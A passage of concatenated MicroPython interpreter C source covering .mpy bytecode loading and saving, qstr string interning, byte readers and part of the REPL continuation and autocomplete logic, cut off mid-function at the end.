MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE #include "py/smallint.h" // The current version of .mpy files #define MPY_VERSION (2) // The feature flags byte encodes the compile-time config options that // affect the generate bytecode. #define MPY_FEATURE_FLAGS ( \ ((MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) << 0) \ | ((MICROPY_PY_BUILTINS_STR_UNICODE) << 1) \ ) // This is a version of the flags that can be configured at runtime. #define MPY_FEATURE_FLAGS_DYNAMIC ( \ ((MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) << 0) \ | ((MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC) << 1) \ ) #if MICROPY_PERSISTENT_CODE_LOAD || (MICROPY_PERSISTENT_CODE_SAVE && !MICROPY_DYNAMIC_COMPILER) // The bytecode will depend on the number of bits in a small-int, and // this function computes that (could make it a fixed constant, but it // would need to be defined in mpconfigport.h). STATIC int mp_small_int_bits(void) { mp_int_t i = MP_SMALL_INT_MAX; int n = 1; while (i != 0) { i >>= 1; ++n; } return n; } #endif typedef struct _bytecode_prelude_t { uint n_state; uint n_exc_stack; uint scope_flags; uint n_pos_args; uint n_kwonly_args; uint n_def_pos_args; uint code_info_size; } bytecode_prelude_t; // ip will point to start of opcodes // ip2 will point to simple_name, source_file qstrs STATIC void extract_prelude(const byte **ip, const byte **ip2, bytecode_prelude_t *prelude) { prelude->n_state = mp_decode_uint(ip); prelude->n_exc_stack = mp_decode_uint(ip); prelude->scope_flags = *(*ip)++; prelude->n_pos_args = *(*ip)++; prelude->n_kwonly_args = *(*ip)++; prelude->n_def_pos_args = *(*ip)++; *ip2 = *ip; prelude->code_info_size = mp_decode_uint(ip2); *ip += prelude->code_info_size; while (*(*ip)++ != 255) { } } #endif // MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE #if MICROPY_PERSISTENT_CODE_LOAD #include "py/parsenum.h" #include "py/bc0.h" STATIC int read_byte(mp_reader_t *reader) { return reader->readbyte(reader->data); } STATIC void read_bytes(mp_reader_t *reader, byte *buf, size_t len) { while (len-- > 0) { *buf++ = reader->readbyte(reader->data); } } STATIC size_t read_uint(mp_reader_t *reader) { size_t unum = 0; for (;;) { byte b = reader->readbyte(reader->data); unum = (unum << 7) | (b & 0x7f); if ((b & 0x80) == 0) { break; } } return unum; } STATIC qstr load_qstr(mp_reader_t *reader) { size_t len = read_uint(reader); char *str = m_new(char, len); read_bytes(reader, (byte*)str, len); qstr qst = qstr_from_strn(str, len); m_del(char, str, len); return qst; } STATIC mp_obj_t load_obj(mp_reader_t *reader) { byte obj_type = read_byte(reader); if (obj_type == 'e') { return MP_OBJ_FROM_PTR(&mp_const_ellipsis_obj); } else { size_t len = read_uint(reader); vstr_t vstr; vstr_init_len(&vstr, len); read_bytes(reader, (byte*)vstr.buf, len); if (obj_type == 's' || obj_type == 'b') { return mp_obj_new_str_from_vstr(obj_type == 's' ? &mp_type_str : &mp_type_bytes, &vstr); } else if (obj_type == 'i') { return mp_parse_num_integer(vstr.buf, vstr.len, 10, NULL); } else { assert(obj_type == 'f' || obj_type == 'c'); return mp_parse_num_decimal(vstr.buf, vstr.len, obj_type == 'c', false, NULL); } } } STATIC void load_bytecode_qstrs(mp_reader_t *reader, byte *ip, byte *ip_top) { while (ip < ip_top) { size_t sz; uint f = mp_opcode_format(ip, &sz); if (f == MP_OPCODE_QSTR) { qstr qst = load_qstr(reader); ip[1] = qst; ip[2] = qst >> 8; } ip += sz; } } STATIC mp_raw_code_t *load_raw_code(mp_reader_t *reader) { // load bytecode size_t bc_len = read_uint(reader); byte *bytecode = m_new(byte, bc_len); read_bytes(reader, bytecode, bc_len); // extract prelude const byte *ip = bytecode; const byte *ip2; bytecode_prelude_t prelude; extract_prelude(&ip, &ip2, &prelude); // load qstrs and link global qstr ids into bytecode qstr simple_name = load_qstr(reader); qstr source_file = load_qstr(reader); ((byte*)ip2)[0] = simple_name; ((byte*)ip2)[1] = simple_name >> 8; ((byte*)ip2)[2] = source_file; ((byte*)ip2)[3] = source_file >> 8; load_bytecode_qstrs(reader, (byte*)ip, bytecode + bc_len); // load constant table size_t n_obj = read_uint(reader); size_t n_raw_code = read_uint(reader); mp_uint_t *const_table = m_new(mp_uint_t, prelude.n_pos_args + prelude.n_kwonly_args + n_obj + n_raw_code); mp_uint_t *ct = const_table; for (size_t i = 0; i < prelude.n_pos_args + prelude.n_kwonly_args; ++i) { *ct++ = (mp_uint_t)MP_OBJ_NEW_QSTR(load_qstr(reader)); } for (size_t i = 0; i < n_obj; ++i) { *ct++ = (mp_uint_t)load_obj(reader); } for (size_t i = 0; i < n_raw_code; ++i) { *ct++ = (mp_uint_t)(uintptr_t)load_raw_code(reader); } // create raw_code and return it mp_raw_code_t *rc = mp_emit_glue_new_raw_code(); mp_emit_glue_assign_bytecode(rc, bytecode, bc_len, const_table, #if MICROPY_PERSISTENT_CODE_SAVE n_obj, n_raw_code, #endif prelude.scope_flags); return rc; } mp_raw_code_t *mp_raw_code_load(mp_reader_t *reader) { byte header[4]; read_bytes(reader, header, sizeof(header)); if (header[0] != 'M' || header[1] != MPY_VERSION || header[2] != MPY_FEATURE_FLAGS || header[3] > mp_small_int_bits()) { mp_raise_ValueError("incompatible .mpy file"); } mp_raw_code_t *rc = load_raw_code(reader); reader->close(reader->data); return rc; } mp_raw_code_t *mp_raw_code_load_mem(const byte *buf, size_t len) { mp_reader_t reader; mp_reader_new_mem(&reader, buf, len, 0); return mp_raw_code_load(&reader); } mp_raw_code_t *mp_raw_code_load_file(const char *filename) { mp_reader_t reader; mp_reader_new_file(&reader, filename); return mp_raw_code_load(&reader); } #endif // MICROPY_PERSISTENT_CODE_LOAD #if MICROPY_PERSISTENT_CODE_SAVE #include "py/objstr.h" STATIC void mp_print_bytes(mp_print_t *print, const byte *data, size_t len) { print->print_strn(print->data, (const char*)data, len); } #define BYTES_FOR_INT ((BYTES_PER_WORD * 8 + 6) / 7) STATIC void mp_print_uint(mp_print_t *print, size_t n) { byte buf[BYTES_FOR_INT]; byte *p = buf + sizeof(buf); *--p = n & 0x7f; n >>= 7; for (; n != 0; n >>= 7) { *--p = 0x80 | (n & 0x7f); } print->print_strn(print->data, (char*)p, buf + sizeof(buf) - p); } STATIC void save_qstr(mp_print_t *print, qstr qst) { size_t len; const byte *str = qstr_data(qst, &len); mp_print_uint(print, len); mp_print_bytes(print, str, len); } STATIC void save_obj(mp_print_t *print, mp_obj_t o) { if (MP_OBJ_IS_STR_OR_BYTES(o)) { byte obj_type; if (MP_OBJ_IS_STR(o)) { obj_type = 's'; } else { obj_type = 'b'; } mp_uint_t len; const char *str = mp_obj_str_get_data(o, &len); mp_print_bytes(print, &obj_type, 1); mp_print_uint(print, len); mp_print_bytes(print, (const byte*)str, len); } else if (MP_OBJ_TO_PTR(o) == &mp_const_ellipsis_obj) { byte obj_type = 'e'; mp_print_bytes(print, &obj_type, 1); } else { // we save numbers using a simplistic text representation // TODO could be improved byte obj_type; if (MP_OBJ_IS_TYPE(o, &mp_type_int)) { obj_type = 'i'; #if MICROPY_PY_BUILTINS_COMPLEX } else if (MP_OBJ_IS_TYPE(o, &mp_type_complex)) { obj_type = 'c'; #endif } else { assert(mp_obj_is_float(o)); obj_type = 'f'; } vstr_t vstr; mp_print_t pr; vstr_init_print(&vstr, 10, &pr); mp_obj_print_helper(&pr, o, PRINT_REPR); mp_print_bytes(print, &obj_type, 1); mp_print_uint(print, vstr.len); mp_print_bytes(print, (const byte*)vstr.buf, vstr.len); vstr_clear(&vstr); } } STATIC void save_bytecode_qstrs(mp_print_t *print, const byte *ip, const byte *ip_top) { while (ip < ip_top) { size_t sz; uint f = mp_opcode_format(ip, &sz); if (f == MP_OPCODE_QSTR) { qstr qst = ip[1] | (ip[2] << 8); save_qstr(print, qst); } ip += sz; } } STATIC void save_raw_code(mp_print_t *print, mp_raw_code_t *rc) { if (rc->kind != MP_CODE_BYTECODE) { mp_raise_ValueError("can only save bytecode"); } // save bytecode mp_print_uint(print, rc->data.u_byte.bc_len); mp_print_bytes(print, rc->data.u_byte.bytecode, rc->data.u_byte.bc_len); // extract prelude const byte *ip = rc->data.u_byte.bytecode; const byte *ip2; bytecode_prelude_t prelude; extract_prelude(&ip, &ip2, &prelude); // save qstrs save_qstr(print, ip2[0] | (ip2[1] << 8)); // simple_name save_qstr(print, ip2[2] | (ip2[3] << 8)); // source_file save_bytecode_qstrs(print, ip, rc->data.u_byte.bytecode + rc->data.u_byte.bc_len); // save constant table mp_print_uint(print, rc->data.u_byte.n_obj); mp_print_uint(print, rc->data.u_byte.n_raw_code); const mp_uint_t *const_table = rc->data.u_byte.const_table; for (uint i = 0; i < prelude.n_pos_args + prelude.n_kwonly_args; ++i) { mp_obj_t o = (mp_obj_t)*const_table++; save_qstr(print, MP_OBJ_QSTR_VALUE(o)); } for (uint i = 0; i < rc->data.u_byte.n_obj; ++i) { save_obj(print, (mp_obj_t)*const_table++); } for (uint i = 0; i < rc->data.u_byte.n_raw_code; ++i) { save_raw_code(print, (mp_raw_code_t*)(uintptr_t)*const_table++); } } void mp_raw_code_save(mp_raw_code_t *rc, mp_print_t *print) { // header contains: // byte 'M' // byte version // byte feature flags // byte number of bits in a small int byte header[4] = {'M', MPY_VERSION, MPY_FEATURE_FLAGS_DYNAMIC, #if MICROPY_DYNAMIC_COMPILER mp_dynamic_compiler.small_int_bits, #else mp_small_int_bits(), #endif }; mp_print_bytes(print, header, sizeof(header)); save_raw_code(print, rc); } // here we define mp_raw_code_save_file depending on the port // TODO abstract this away properly #if defined(__i386__) || defined(__x86_64__) || (defined(__arm__) && (defined(__unix__))) #include #include #include STATIC void fd_print_strn(void *env, const char *str, size_t len) { int fd = (intptr_t)env; ssize_t ret = write(fd, str, len); (void)ret; } void mp_raw_code_save_file(mp_raw_code_t *rc, const char *filename) { int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644); mp_print_t fd_print = {(void*)(intptr_t)fd, fd_print_strn}; mp_raw_code_save(rc, &fd_print); close(fd); } #else #error mp_raw_code_save_file not implemented for this platform #endif #endif // MICROPY_PERSISTENT_CODE_SAVE ================================================ FILE: micropython/source/py/qstr.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/mpstate.h" #include "py/qstr.h" #include "py/gc.h" // NOTE: we are using linear arrays to store and search for qstr's (unique strings, interned strings) // ultimately we will replace this with a static hash table of some kind // also probably need to include the length in the string data, to allow null bytes in the string #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_printf(...) (void)0 #endif // A qstr is an index into the qstr pool. // The data for a qstr contains (hash, length, data): // - hash (configurable number of bytes) // - length (configurable number of bytes) // - data ("length" number of bytes) // - \0 terminated (so they can be printed using printf) #if MICROPY_QSTR_BYTES_IN_HASH == 1 #define Q_HASH_MASK (0xff) #define Q_GET_HASH(q) ((mp_uint_t)(q)[0]) #define Q_SET_HASH(q, hash) do { (q)[0] = (hash); } while (0) #elif MICROPY_QSTR_BYTES_IN_HASH == 2 #define Q_HASH_MASK (0xffff) #define Q_GET_HASH(q) ((mp_uint_t)(q)[0] | ((mp_uint_t)(q)[1] << 8)) #define Q_SET_HASH(q, hash) do { (q)[0] = (hash); (q)[1] = (hash) >> 8; } while (0) #else #error unimplemented qstr hash decoding #endif #define Q_GET_ALLOC(q) (MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + Q_GET_LENGTH(q) + 1) #define Q_GET_DATA(q) ((q) + MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN) #if MICROPY_QSTR_BYTES_IN_LEN == 1 #define Q_GET_LENGTH(q) ((q)[MICROPY_QSTR_BYTES_IN_HASH]) #define Q_SET_LENGTH(q, len) do { (q)[MICROPY_QSTR_BYTES_IN_HASH] = (len); } while (0) #elif MICROPY_QSTR_BYTES_IN_LEN == 2 #define Q_GET_LENGTH(q) ((q)[MICROPY_QSTR_BYTES_IN_HASH] | ((q)[MICROPY_QSTR_BYTES_IN_HASH + 1] << 8)) #define Q_SET_LENGTH(q, len) do { (q)[MICROPY_QSTR_BYTES_IN_HASH] = (len); (q)[MICROPY_QSTR_BYTES_IN_HASH + 1] = (len) >> 8; } while (0) #else #error unimplemented qstr length decoding #endif #if MICROPY_PY_THREAD && !MICROPY_PY_THREAD_GIL #define QSTR_ENTER() mp_thread_mutex_lock(&MP_STATE_VM(qstr_mutex), 1) #define QSTR_EXIT() mp_thread_mutex_unlock(&MP_STATE_VM(qstr_mutex)) #else #define QSTR_ENTER() #define QSTR_EXIT() #endif // this must match the equivalent function in makeqstrdata.py mp_uint_t qstr_compute_hash(const byte *data, size_t len) { // djb2 algorithm; see http://www.cse.yorku.ca/~oz/hash.html mp_uint_t hash = 5381; for (const byte *top = data + len; data < top; data++) { hash = ((hash << 5) + hash) ^ (*data); // hash * 33 ^ data } hash &= Q_HASH_MASK; // Make sure that valid hash is never zero, zero means "hash not computed" if (hash == 0) { hash++; } return hash; } const qstr_pool_t mp_qstr_const_pool = { NULL, // no previous pool 0, // no previous pool 10, // set so that the first dynamically allocated pool is twice this size; must be <= the len (just below) MP_QSTRnumber_of, // corresponds to number of strings in array just below { #ifndef NO_QSTR #define QDEF(id, str) str, #include "genhdr/qstrdefs.generated.h" #undef QDEF #endif }, }; #ifdef MICROPY_QSTR_EXTRA_POOL extern const qstr_pool_t MICROPY_QSTR_EXTRA_POOL; #define CONST_POOL MICROPY_QSTR_EXTRA_POOL #else #define CONST_POOL mp_qstr_const_pool #endif void qstr_init(void) { MP_STATE_VM(last_pool) = (qstr_pool_t*)&CONST_POOL; // we won't modify the const_pool since it has no allocated room left MP_STATE_VM(qstr_last_chunk) = NULL; #if MICROPY_PY_THREAD mp_thread_mutex_init(&MP_STATE_VM(qstr_mutex)); #endif } STATIC const byte *find_qstr(qstr q) { // search pool for this qstr for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL; pool = pool->prev) { if (q >= pool->total_prev_len) { return pool->qstrs[q - pool->total_prev_len]; } } // not found return 0; } // qstr_mutex must be taken while in this function STATIC qstr qstr_add(const byte *q_ptr) { DEBUG_printf("QSTR: add hash=%d len=%d data=%.*s\n", Q_GET_HASH(q_ptr), Q_GET_LENGTH(q_ptr), Q_GET_LENGTH(q_ptr), Q_GET_DATA(q_ptr)); // make sure we have room in the pool for a new qstr if (MP_STATE_VM(last_pool)->len >= MP_STATE_VM(last_pool)->alloc) { qstr_pool_t *pool = m_new_obj_var_maybe(qstr_pool_t, const char*, MP_STATE_VM(last_pool)->alloc * 2); if (pool == NULL) { QSTR_EXIT(); m_malloc_fail(MP_STATE_VM(last_pool)->alloc * 2); } pool->prev = MP_STATE_VM(last_pool); pool->total_prev_len = MP_STATE_VM(last_pool)->total_prev_len + MP_STATE_VM(last_pool)->len; pool->alloc = MP_STATE_VM(last_pool)->alloc * 2; pool->len = 0; MP_STATE_VM(last_pool) = pool; DEBUG_printf("QSTR: allocate new pool of size %d\n", MP_STATE_VM(last_pool)->alloc); } // add the new qstr MP_STATE_VM(last_pool)->qstrs[MP_STATE_VM(last_pool)->len++] = q_ptr; // return id for the newly-added qstr return MP_STATE_VM(last_pool)->total_prev_len + MP_STATE_VM(last_pool)->len - 1; } qstr qstr_find_strn(const char *str, size_t str_len) { // work out hash of str mp_uint_t str_hash = qstr_compute_hash((const byte*)str, str_len); // search pools for the data for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL; pool = pool->prev) { for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) { if (Q_GET_HASH(*q) == str_hash && Q_GET_LENGTH(*q) == str_len && memcmp(Q_GET_DATA(*q), str, str_len) == 0) { return pool->total_prev_len + (q - pool->qstrs); } } } // not found; return null qstr return 0; } qstr qstr_from_str(const char *str) { return qstr_from_strn(str, strlen(str)); } qstr qstr_from_strn(const char *str, size_t len) { assert(len < (1 << (8 * MICROPY_QSTR_BYTES_IN_LEN))); QSTR_ENTER(); qstr q = qstr_find_strn(str, len); if (q == 0) { // qstr does not exist in interned pool so need to add it // compute number of bytes needed to intern this string size_t n_bytes = MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len + 1; if (MP_STATE_VM(qstr_last_chunk) != NULL && MP_STATE_VM(qstr_last_used) + n_bytes > MP_STATE_VM(qstr_last_alloc)) { // not enough room at end of previously interned string so try to grow byte *new_p = m_renew_maybe(byte, MP_STATE_VM(qstr_last_chunk), MP_STATE_VM(qstr_last_alloc), MP_STATE_VM(qstr_last_alloc) + n_bytes, false); if (new_p == NULL) { // could not grow existing memory; shrink it to fit previous (void)m_renew_maybe(byte, MP_STATE_VM(qstr_last_chunk), MP_STATE_VM(qstr_last_alloc), MP_STATE_VM(qstr_last_used), false); MP_STATE_VM(qstr_last_chunk) = NULL; } else { // could grow existing memory MP_STATE_VM(qstr_last_alloc) += n_bytes; } } if (MP_STATE_VM(qstr_last_chunk) == NULL) { // no existing memory for the interned string so allocate a new chunk size_t al = n_bytes; if (al < MICROPY_ALLOC_QSTR_CHUNK_INIT) { al = MICROPY_ALLOC_QSTR_CHUNK_INIT; } MP_STATE_VM(qstr_last_chunk) = m_new_maybe(byte, al); if (MP_STATE_VM(qstr_last_chunk) == NULL) { // failed to allocate a large chunk so try with exact size MP_STATE_VM(qstr_last_chunk) = m_new_maybe(byte, n_bytes); if (MP_STATE_VM(qstr_last_chunk) == NULL) { QSTR_EXIT(); m_malloc_fail(n_bytes); } al = n_bytes; } MP_STATE_VM(qstr_last_alloc) = al; MP_STATE_VM(qstr_last_used) = 0; } // allocate memory from the chunk for this new interned string's data byte *q_ptr = MP_STATE_VM(qstr_last_chunk) + MP_STATE_VM(qstr_last_used); MP_STATE_VM(qstr_last_used) += n_bytes; // store the interned strings' data mp_uint_t hash = qstr_compute_hash((const byte*)str, len); Q_SET_HASH(q_ptr, hash); Q_SET_LENGTH(q_ptr, len); memcpy(q_ptr + MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN, str, len); q_ptr[MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len] = '\0'; q = qstr_add(q_ptr); } QSTR_EXIT(); return q; } byte *qstr_build_start(size_t len, byte **q_ptr) { assert(len < (1 << (8 * MICROPY_QSTR_BYTES_IN_LEN))); *q_ptr = m_new(byte, MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len + 1); Q_SET_LENGTH(*q_ptr, len); return Q_GET_DATA(*q_ptr); } qstr qstr_build_end(byte *q_ptr) { QSTR_ENTER(); qstr q = qstr_find_strn((const char*)Q_GET_DATA(q_ptr), Q_GET_LENGTH(q_ptr)); if (q == 0) { size_t len = Q_GET_LENGTH(q_ptr); mp_uint_t hash = qstr_compute_hash(Q_GET_DATA(q_ptr), len); Q_SET_HASH(q_ptr, hash); q_ptr[MICROPY_QSTR_BYTES_IN_HASH + MICROPY_QSTR_BYTES_IN_LEN + len] = '\0'; q = qstr_add(q_ptr); } else { m_del(byte, q_ptr, Q_GET_ALLOC(q_ptr)); } QSTR_EXIT(); return q; } mp_uint_t qstr_hash(qstr q) { return Q_GET_HASH(find_qstr(q)); } size_t qstr_len(qstr q) { const byte *qd = find_qstr(q); return Q_GET_LENGTH(qd); } const char *qstr_str(qstr q) { const byte *qd = find_qstr(q); return (const char*)Q_GET_DATA(qd); } const byte *qstr_data(qstr q, size_t *len) { const byte *qd = find_qstr(q); *len = Q_GET_LENGTH(qd); return Q_GET_DATA(qd); } void qstr_pool_info(size_t *n_pool, size_t *n_qstr, size_t *n_str_data_bytes, size_t *n_total_bytes) { QSTR_ENTER(); *n_pool = 0; *n_qstr = 0; *n_str_data_bytes = 0; *n_total_bytes = 0; for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL && pool != &CONST_POOL; pool = pool->prev) { *n_pool += 1; *n_qstr += pool->len; for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) { *n_str_data_bytes += Q_GET_ALLOC(*q); } #if MICROPY_ENABLE_GC *n_total_bytes += gc_nbytes(pool); // this counts actual bytes used in heap #else *n_total_bytes += sizeof(qstr_pool_t) + sizeof(qstr) * pool->alloc; #endif } *n_total_bytes += *n_str_data_bytes; QSTR_EXIT(); } #if MICROPY_PY_MICROPYTHON_MEM_INFO void qstr_dump_data(void) { QSTR_ENTER(); for (qstr_pool_t *pool = MP_STATE_VM(last_pool); pool != NULL && pool != &CONST_POOL; pool = pool->prev) { for (const byte **q = pool->qstrs, **q_top = pool->qstrs + pool->len; q < q_top; q++) { mp_printf(&mp_plat_print, "Q(%s)\n", Q_GET_DATA(*q)); } } QSTR_EXIT(); } #endif ================================================ FILE: micropython/source/py/reader.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/runtime.h" #include "py/mperrno.h" #include "py/reader.h" typedef struct _mp_reader_mem_t { size_t free_len; // if >0 mem is freed on close by: m_free(beg, free_len) const byte *beg; const byte *cur; const byte *end; } mp_reader_mem_t; STATIC mp_uint_t mp_reader_mem_readbyte(void *data) { mp_reader_mem_t *reader = (mp_reader_mem_t*)data; if (reader->cur < reader->end) { return *reader->cur++; } else { return MP_READER_EOF; } } STATIC void mp_reader_mem_close(void *data) { mp_reader_mem_t *reader = (mp_reader_mem_t*)data; if (reader->free_len > 0) { m_del(char, (char*)reader->beg, reader->free_len); } m_del_obj(mp_reader_mem_t, reader); } void mp_reader_new_mem(mp_reader_t *reader, const byte *buf, size_t len, size_t free_len) { mp_reader_mem_t *rm = m_new_obj(mp_reader_mem_t); rm->free_len = free_len; rm->beg = buf; rm->cur = buf; rm->end = buf + len; reader->data = rm; reader->readbyte = mp_reader_mem_readbyte; reader->close = mp_reader_mem_close; } #if MICROPY_READER_POSIX #include #include #include typedef struct _mp_reader_posix_t { bool close_fd; int fd; size_t len; size_t pos; byte buf[20]; } mp_reader_posix_t; STATIC mp_uint_t mp_reader_posix_readbyte(void *data) { mp_reader_posix_t *reader = (mp_reader_posix_t*)data; if (reader->pos >= reader->len) { if (reader->len == 0) { return MP_READER_EOF; } else { int n = read(reader->fd, reader->buf, sizeof(reader->buf)); if (n <= 0) { reader->len = 0; return MP_READER_EOF; } reader->len = n; reader->pos = 0; } } return reader->buf[reader->pos++]; } STATIC void mp_reader_posix_close(void *data) { mp_reader_posix_t *reader = (mp_reader_posix_t*)data; if (reader->close_fd) { close(reader->fd); } m_del_obj(mp_reader_posix_t, reader); } void mp_reader_new_file_from_fd(mp_reader_t *reader, int fd, bool close_fd) { mp_reader_posix_t *rp = m_new_obj(mp_reader_posix_t); rp->close_fd = close_fd; rp->fd = fd; int n = read(rp->fd, rp->buf, sizeof(rp->buf)); if (n == -1) { if (close_fd) { close(fd); } mp_raise_OSError(errno); } rp->len = n; rp->pos = 0; reader->data = rp; reader->readbyte = mp_reader_posix_readbyte; reader->close = mp_reader_posix_close; } void mp_reader_new_file(mp_reader_t *reader, const char *filename) { int fd = open(filename, O_RDONLY, 0644); if (fd < 0) { mp_raise_OSError(errno); } mp_reader_new_file_from_fd(reader, fd, true); } #endif ================================================ FILE: micropython/source/py/repl.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/obj.h" #include "py/runtime.h" #include "py/repl.h" #if MICROPY_HELPER_REPL STATIC bool str_startswith_word(const char *str, const char *head) { size_t i; for (i = 0; str[i] && head[i]; i++) { if (str[i] != head[i]) { return false; } } return head[i] == '\0' && (str[i] == '\0' || !unichar_isident(str[i])); } bool mp_repl_continue_with_input(const char *input) { // check for blank input if (input[0] == '\0') { return false; } // check if input starts with a certain keyword bool starts_with_compound_keyword = input[0] == '@' || str_startswith_word(input, "if") || str_startswith_word(input, "while") || str_startswith_word(input, "for") || str_startswith_word(input, "try") || str_startswith_word(input, "with") || str_startswith_word(input, "def") || str_startswith_word(input, "class") #if MICROPY_PY_ASYNC_AWAIT || str_startswith_word(input, "async") #endif ; // check for unmatched open bracket, quote or escape quote #define Q_NONE (0) #define Q_1_SINGLE (1) #define Q_1_DOUBLE (2) #define Q_3_SINGLE (3) #define Q_3_DOUBLE (4) int n_paren = 0; int n_brack = 0; int n_brace = 0; int in_quote = Q_NONE; const char *i; for (i = input; *i; i++) { if (*i == '\'') { if ((in_quote == Q_NONE || in_quote == Q_3_SINGLE) && i[1] == '\'' && i[2] == '\'') { i += 2; in_quote = Q_3_SINGLE - in_quote; } else if (in_quote == Q_NONE || in_quote == Q_1_SINGLE) { in_quote = Q_1_SINGLE - in_quote; } } else if (*i == '"') { if ((in_quote == Q_NONE || in_quote == Q_3_DOUBLE) && i[1] == '"' && i[2] == '"') { i += 2; in_quote = Q_3_DOUBLE - in_quote; } else if (in_quote == Q_NONE || in_quote == Q_1_DOUBLE) { in_quote = Q_1_DOUBLE - in_quote; } } else if (*i == '\\' && (i[1] == '\'' || i[1] == '"' || i[1] == '\\')) { if (in_quote != Q_NONE) { i++; } } else if (in_quote == Q_NONE) { switch (*i) { case '(': n_paren += 1; break; case ')': n_paren -= 1; break; case '[': n_brack += 1; break; case ']': n_brack -= 1; break; case '{': n_brace += 1; break; case '}': n_brace -= 1; break; default: break; } } } // continue if unmatched brackets or quotes if (n_paren > 0 || n_brack > 0 || n_brace > 0 || in_quote == Q_3_SINGLE || in_quote == Q_3_DOUBLE) { return true; } // continue if last character was backslash (for line continuation) if (i[-1] == '\\') { return true; } // continue if compound keyword and last line was not empty if (starts_with_compound_keyword && i[-1] != '\n') { return true; } // otherwise, don't continue return false; } size_t mp_repl_autocomplete(const char *str, size_t len, const mp_print_t *print, const char **compl_str) { // scan backwards to find start of "a.b.c" chain const char *org_str = str; const char *top = str + len; for (const char *s = top; --s >= str;) { if (!(unichar_isalpha(*s) || unichar_isdigit(*s) || *s == '_' || *s == '.')) { ++s; str = s; break; } } // begin search in locals dict mp_obj_dict_t *dict = mp_locals_get(); for (;;) { // get next word in string to complete const char *s_start = str; while (str < top && *str != '.') { ++str; } size_t s_len = str - s_start; if (str < top) { // a complete word, lookup in current dict mp_obj_t obj = MP_OBJ_NULL; for (size_t i = 0; i < dict->map.alloc; i++) { if (MP_MAP_SLOT_IS_FILLED(&dict->map, i)) { size_t d_len; const char *d_str = mp_obj_str_get_data(dict->map.table[i].key, &d_len); if (s_len == d_len && strncmp(s_start, d_str, d_len) == 0) { obj = 